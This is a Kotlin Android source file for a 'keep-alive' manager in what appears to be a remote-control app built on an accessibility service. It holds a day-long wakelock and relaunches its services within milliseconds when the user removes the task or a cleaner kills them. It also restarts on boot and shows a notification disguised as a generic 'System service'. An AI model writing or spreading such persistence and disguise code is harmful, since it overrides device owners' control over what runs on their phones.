package com.hikoncont.service

import android.app.*
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.os.Build
import android.os.PowerManager
import android.util.Log
import androidx.core.app.NotificationCompat
import kotlinx.coroutines.*

/**
 * 有效的保活管理器
 * 专注于防止程序被系统杀死，而不是尝试重启已死的服务
 */
class EffectiveKeepAliveManager(private val context: Context) {
    
    companion object {
        private const val TAG = "EffectiveKeepAlive"
        private const val CHECK_INTERVAL = 500L // ✅ 激进：500ms检查一次，快速发现问题
        private const val NOTIFICATION_ID = 8888
    }
    
    private val managerScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
    private var monitorJob: Job? = null
    private var wakeLock: PowerManager.WakeLock? = null
    private var isMonitoring = false
    private var notificationManager: NotificationManager? = null
    
    /**
     * 开始有效保活监控
     */
    fun startEffectiveKeepAlive() {
        if (isMonitoring) {
            Log.w(TAG, "⚠️ 有效保活监控已在运行")
            return
        }
        
        Log.i(TAG, "🛡️ 开始有效保活监控")
        isMonitoring = true
        
        // 初始化通知管理器
        initNotificationManager()
        
        // 获取WakeLock
        acquireWakeLock()
        
        // 注册系统事件监听
        registerSystemEventReceivers()
        
        // 开始监控
        startMonitoring()
        
        // 确保前台服务运行
        ensureForegroundService()
        
        // 请求电池优化白名单
        requestBatteryOptimizationWhitelist()
    }
    
    /**
     * 停止有效保活监控
     */
    fun stopEffectiveKeepAlive() {
        if (!isMonitoring) {
            return
        }
        
        Log.i(TAG, "🛑 停止有效保活监控")
        isMonitoring = false
        
        // 取消监控任务
        monitorJob?.cancel()
        
        // 释放WakeLock
        releaseWakeLock()
        
        // 注销广播接收器
        unregisterSystemEventReceivers()
        
        // 取消协程作用域
        managerScope.cancel()
    }
    
    /**
     * 服务被销毁时的处理（还原KeepAliveService的效果）
     */
    fun onServiceDestroyed() {
        Log.i(TAG, "🛑 保活服务被销毁，安排自恢复")
        
        // 释放WakeLock
        releaseWakeLock()
        
        // 被系统或清理工具杀死时，安排自恢复（还原KeepAliveService的逻辑）
        scheduleSelfAndCoreRestart(50L) // ✅ 激进：50ms极速恢复
        
        // 取消监控任务
        monitorJob?.cancel()
        managerScope.cancel()
    }
    
    /**
     * 任务被移除时的处理（还原KeepAliveService的效果）
     */
    fun onTaskRemoved() {
        Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved)，安排服务自恢复")
        scheduleSelfAndCoreRestart(50L) // ✅ 激进：50ms极速恢复
    }
    
    /**
     * 初始化通知管理器
     */
    private fun initNotificationManager() {
        try {
            notificationManager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
            
            // 创建保活通知渠道
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                val channel = NotificationChannel(
                    "keep_alive_channel",
                    "保活服务",
                    NotificationManager.IMPORTANCE_LOW
                ).apply {
                    description = "保持应用后台运行"
                    setShowBadge(false)
                    setSound(null, null)
                    setVibrationPattern(null)
                }
                notificationManager?.createNotificationChannel(channel)
            }
            
            Log.i(TAG, "📱 通知管理器已初始化")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 初始化通知管理器失败", e)
        }
    }
    
    /**
     * 获取WakeLock保活
     */
    private fun acquireWakeLock() {
        try {
            val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
            wakeLock = powerManager.newWakeLock(
                PowerManager.PARTIAL_WAKE_LOCK,
                "RemoteControl::EffectiveKeepAlive"
            )
            wakeLock?.acquire(24 * 60 * 60 * 1000L) // 24小时
            Log.i(TAG, "🔋 有效保活WakeLock已获取")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取有效保活WakeLock失败", e)
        }
    }
    
    /**
     * 释放WakeLock
     */
    private fun releaseWakeLock() {
        try {
            wakeLock?.release()
            wakeLock = null
            Log.i(TAG, "🔋 有效保活WakeLock已释放")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 释放有效保活WakeLock失败", e)
        }
    }
    
    /**
     * 注册系统事件接收器
     */
    private fun registerSystemEventReceivers() {
        try {
            val filter = IntentFilter().apply {
                addAction(Intent.ACTION_SCREEN_ON)
                addAction(Intent.ACTION_SCREEN_OFF)
                addAction(Intent.ACTION_USER_PRESENT)
                addAction(Intent.ACTION_BOOT_COMPLETED)
                addAction(Intent.ACTION_MY_PACKAGE_REPLACED)
                addAction(Intent.ACTION_PACKAGE_REPLACED)
            }
            context.registerReceiver(systemEventReceiver, filter)
            Log.i(TAG, "📡 系统事件接收器已注册")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 注册系统事件接收器失败", e)
        }
    }
    
    /**
     * 注销系统事件接收器
     */
    private fun unregisterSystemEventReceivers() {
        try {
            context.unregisterReceiver(systemEventReceiver)
            Log.i(TAG, "📡 系统事件接收器已注销")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 注销系统事件接收器失败", e)
        }
    }
    
    /**
     * 开始监控
     */
    private fun startMonitoring() {
        monitorJob = managerScope.launch {
            while (isActive && isMonitoring) {
                try {
                    performKeepAliveActions()
                    delay(CHECK_INTERVAL)
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 有效保活监控过程中发生错误", e)
                    delay(CHECK_INTERVAL)
                }
            }
        }
    }
    
    /**
     * 执行保活操作
     */
    private fun performKeepAliveActions() {
        try {
            // 1. 检查无障碍服务状态
            checkAccessibilityServiceStatus()
            
            // 2. 确保前台服务运行
            ensureForegroundService()
            
            // 3. 保持通知显示
            showKeepAliveNotification()
            
            // 4. 检查电池优化状态
            checkBatteryOptimizationStatus()
            
            Log.d(TAG, "✅ 保活操作执行完成")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行保活操作失败", e)
        }
    }
    
    /**
     * 检查无障碍服务状态
     */
    private fun checkAccessibilityServiceStatus() {
        try {
            // ✅ 修复：先检查无障碍权限，再检查服务实例
            if (!isAccessibilityServiceEnabled()) {
                Log.w(TAG, "⚠️ 无障碍服务权限已丢失")
                showAccessibilityPermissionLostNotification()
            } else {
                // 权限正常，检查AccessibilityService实例
                val accessibilityService = AccessibilityRemoteService.getInstance()
                
                if (accessibilityService == null) {
                    Log.d(TAG, "🔍 无障碍权限正常，但AccessibilityService实例未初始化，等待初始化完成")
                    // 权限正常但实例未初始化，等待初始化完成，不强制启动前台服务
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查无障碍服务状态失败", e)
        }
    }
    
    /**
     * 检查无障碍服务是否启用
     */
    private fun isAccessibilityServiceEnabled(): Boolean {
        return try {
            val accessibilityEnabled = android.provider.Settings.Secure.getInt(
                context.contentResolver,
                android.provider.Settings.Secure.ACCESSIBILITY_ENABLED
            )
            
            if (accessibilityEnabled == 1) {
                val serviceId = "${context.packageName}/${AccessibilityRemoteService::class.java.canonicalName}"
                val enabledServices = android.provider.Settings.Secure.getString(
                    context.contentResolver,
                    android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
                )
                
                enabledServices?.contains(serviceId) == true
            } else {
                false
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查无障碍服务状态失败", e)
            false
        }
    }
    
    /**
     * 显示无障碍权限丢失通知
     */
    private fun showAccessibilityPermissionLostNotification() {
        try {
            Log.i(TAG, "📱 显示无障碍权限丢失通知")
            
            val notification = NotificationCompat.Builder(context, "accessibility_permission_lost")
                .setContentTitle("⚠️ 无障碍服务权限丢失")
                .setContentText("请点击重新启用无障碍服务权限")
                .setSmallIcon(android.R.drawable.ic_dialog_alert)
                .setPriority(NotificationCompat.PRIORITY_HIGH)
                .setAutoCancel(true)
                .setOngoing(false)
                .setContentIntent(createAccessibilitySettingsPendingIntent())
                .build()
            
            notificationManager?.notify(9999, notification)
            Log.i(TAG, "✅ 无障碍权限丢失通知已显示")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 显示无障碍权限丢失通知失败", e)
        }
    }
    
    /**
     * 创建无障碍设置页面的PendingIntent
     */
    private fun createAccessibilitySettingsPendingIntent(): PendingIntent {
        val intent = Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS)
        intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
        return PendingIntent.getActivity(
            context,
            9999,
            intent,
            PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
        )
    }
    
    /**
     * 确保前台服务运行
     */
    private fun ensureForegroundService() {
        try {
            val serviceIntent = Intent(context, RemoteControlForegroundService::class.java)
            serviceIntent.action = "ENSURE_FOREGROUND"
            context.startForegroundService(serviceIntent)
            Log.d(TAG, "✅ 已确保前台服务运行")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 确保前台服务运行失败", e)
        }
    }
    
    /**
     * 显示保活通知
     */
    private fun showKeepAliveNotification() {
        try {
            val notification = NotificationCompat.Builder(context, "keep_alive_channel")
                .setContentTitle("系统服务")
                .setContentText("正在运行...")
                .setSmallIcon(android.R.drawable.ic_dialog_info)
                .setPriority(NotificationCompat.PRIORITY_LOW)
                .setOngoing(true)
                .setAutoCancel(false)
                .build()
            
            notificationManager?.notify(NOTIFICATION_ID, notification)
            Log.d(TAG, "✅ 保活通知已显示")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 显示保活通知失败", e)
        }
    }
    
    /**
     * 请求电池优化白名单
     */
    private fun requestBatteryOptimizationWhitelist() {
        try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
                if (!powerManager.isIgnoringBatteryOptimizations(context.packageName)) {
                    Log.i(TAG, "🔋 应用不在电池优化白名单中，建议用户手动添加")
                    // 这里可以显示通知提醒用户手动添加到电池优化白名单
                } else {
                    Log.i(TAG, "✅ 应用已在电池优化白名单中")
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查电池优化状态失败", e)
        }
    }
    
    /**
     * 检查电池优化状态
     */
    private fun checkBatteryOptimizationStatus() {
        try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
                val isIgnoring = powerManager.isIgnoringBatteryOptimizations(context.packageName)
                Log.d(TAG, "🔋 电池优化状态: ${if (isIgnoring) "已忽略" else "未忽略"}")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查电池优化状态失败", e)
        }
    }
    
    /**
     * 使用多重保活机制在被清理后自恢复前台服务与保活服务
     */
    private fun scheduleSelfAndCoreRestart(delayMillis: Long) {
        try {
            Log.i(TAG, "🛡️ 启动多重保活机制")
            
            // 方法1: AlarmManager保活（主要机制）
            scheduleAlarmManagerRestart(delayMillis)
            
            // 方法2: JobScheduler保活（备用机制）
            scheduleJobSchedulerRestart(delayMillis + 100) // ✅ 激进：100ms快速恢复
            
            // 方法3: 广播保活（最后保障）
            scheduleBroadcastRestart(delayMillis + 200) // ✅ 激进：200ms快速恢复
            
            Log.i(TAG, "✅ 多重保活机制已启动")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动多重保活机制失败", e)
        }
    }
    
    /**
     * AlarmManager保活机制
     */
    private fun scheduleAlarmManagerRestart(delayMillis: Long) {
        try {
            val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager

            val rcfsIntent = Intent(context, RemoteControlForegroundService::class.java).apply {
                action = "RESTART_SERVICE"
            }
            val keepAliveIntent = Intent(context, KeepAliveService::class.java)

            val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)

            // 使用随机ID避免冲突
            val randomId1 = (System.currentTimeMillis() % 10000).toInt()
            val randomId2 = randomId1 + 1

            val rcfsPI = PendingIntent.getForegroundService(
                context,
                randomId1,
                rcfsIntent,
                pendingFlags
            )

            val keepAlivePI = PendingIntent.getService(
                context,
                randomId2,
                keepAliveIntent,
                pendingFlags
            )

            val triggerAt = System.currentTimeMillis() + delayMillis
            
            // 使用极速恢复策略
            alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
            alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 100, keepAlivePI) // ✅ 激进：100ms极速恢复

            Log.i(TAG, "⏰ AlarmManager保活已安排: 前台服务(${delayMillis}ms) + 保活服务(${delayMillis + 200}ms)")
        } catch (e: Exception) {
            Log.e(TAG, "❌ AlarmManager保活安排失败", e)
        }
    }
    
    /**
     * JobScheduler保活机制（Android 5.0+）
     */
    private fun scheduleJobSchedulerRestart(delayMillis: Long) {
        try {
            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
                val jobScheduler = context.getSystemService(Context.JOB_SCHEDULER_SERVICE) as android.app.job.JobScheduler
                
                val jobInfo = android.app.job.JobInfo.Builder(
                    (System.currentTimeMillis() % 10000).toInt(),
                    android.content.ComponentName(context, KeepAliveJobService::class.java)
                ).apply {
                    setMinimumLatency(delayMillis)
                    setOverrideDeadline(delayMillis + 500) // ✅ 激进：500ms快速调度
                    setRequiredNetworkType(android.app.job.JobInfo.NETWORK_TYPE_NONE)
                    setPersisted(false)
                }.build()
                
                val result = jobScheduler.schedule(jobInfo)
                if (result == android.app.job.JobScheduler.RESULT_SUCCESS) {
                    Log.i(TAG, "⏰ JobScheduler保活已安排: ${delayMillis}ms")
                } else {
                    Log.w(TAG, "⚠️ JobScheduler保活安排失败")
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ JobScheduler保活安排失败", e)
        }
    }
    
    /**
     * 广播保活机制
     */
    private fun scheduleBroadcastRestart(delayMillis: Long) {
        try {
            val handler = android.os.Handler(android.os.Looper.getMainLooper())
            handler.postDelayed({
                try {
                    Log.i(TAG, "📡 广播保活机制触发")
                    
                    // 启动前台服务
                    val rcfsIntent = Intent(context, RemoteControlForegroundService::class.java).apply {
                        action = "RESTART_SERVICE"
                    }
                    context.startForegroundService(rcfsIntent)
                    
                    // 启动保活服务
                    val keepAliveIntent = Intent(context, KeepAliveService::class.java)
                    context.startService(keepAliveIntent)
                    
                    Log.i(TAG, "✅ 广播保活机制执行完成")
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 广播保活机制执行失败", e)
                }
            }, delayMillis)
            
            Log.i(TAG, "⏰ 广播保活已安排: ${delayMillis}ms")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 广播保活安排失败", e)
        }
    }
    
    /**
     * 系统事件接收器
     */
    private val systemEventReceiver: BroadcastReceiver = object : BroadcastReceiver() {
        override fun onReceive(context: Context, intent: Intent) {
            when (intent.action) {
                Intent.ACTION_SCREEN_ON -> {
                    Log.d(TAG, "📱 屏幕点亮，执行保活检查")
                    performKeepAliveActions()
                }
                Intent.ACTION_SCREEN_OFF -> {
                    Log.d(TAG, "📱 屏幕熄灭，继续后台保活")
                }
                Intent.ACTION_USER_PRESENT -> {
                    Log.d(TAG, "👤 用户解锁，执行保活检查")
                    performKeepAliveActions()
                }
                Intent.ACTION_BOOT_COMPLETED -> {
                    Log.d(TAG, "🚀 系统启动完成，重新启动保活服务")
                    startEffectiveKeepAlive()
                }
                Intent.ACTION_MY_PACKAGE_REPLACED, Intent.ACTION_PACKAGE_REPLACED -> {
                    Log.d(TAG, "📦 应用更新完成，重新启动保活服务")
                    startEffectiveKeepAlive()
                }
            }
        }
    }
}
